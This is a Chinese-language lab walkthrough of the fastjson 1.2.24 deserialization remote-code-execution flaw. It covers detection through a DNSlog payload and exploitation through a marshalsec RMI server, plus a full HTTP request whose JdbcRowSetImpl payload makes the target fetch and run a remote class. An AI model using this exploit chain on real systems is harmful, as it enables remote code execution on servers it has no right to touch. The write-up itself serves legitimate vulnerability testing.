fastjson 1. 2.24-rce
漏洞成因
fastjson是java的一个库,可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
fastjson识别
1.报错回显:构造不完整的json数据,比如缺个括号,查看返回包,发现有fastjson字样,我测试发下没有不确定哪里有问题,状态码500,所以试一下dnslog回显。
2.首先去dnslog.cn get一个子域名,然后利用dnslog回显{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog的地址"}},回显成功,说明用到了fastjson。
漏洞利用
1.创建TouchFile.java文件并编译,javac TouchFile.java,然后将TouchFile.class和TouchFile.java所在文件夹放到服务器上,直接python -m http.server 8000
2.去github下载marshalsec项目,启动RMI服务器,监听9999端口,并制定加载远程类TouchFile.class: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999
(marshalsec-0.0.3-SNAPSHOT-all.jar需要下载,编译,如果出错的话看一看是不是jdk1.8,如果是还出错,就重新执行一下sudo apt-get install openjdk-8-jdk)
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999
然后在漏洞页面抓包改成如下payload,发包
POST / HTTP/1.1
Host: IP:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 274
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:9999/TouchFile",
"autoCommit":true
}
}
最后进入漏洞docker环境,
docker exec -it ID bash
ID用docker ps看一下就行。
查看tmp目录下是否有success,有则执行成功。
参考文章 https://blog.csdn.net/zy15667076526/article/details/109958951
https://blog.csdn.net/qq_41832837/article/details/109038795
https://www.cnblogs.com/cute-puli/p/13466362.html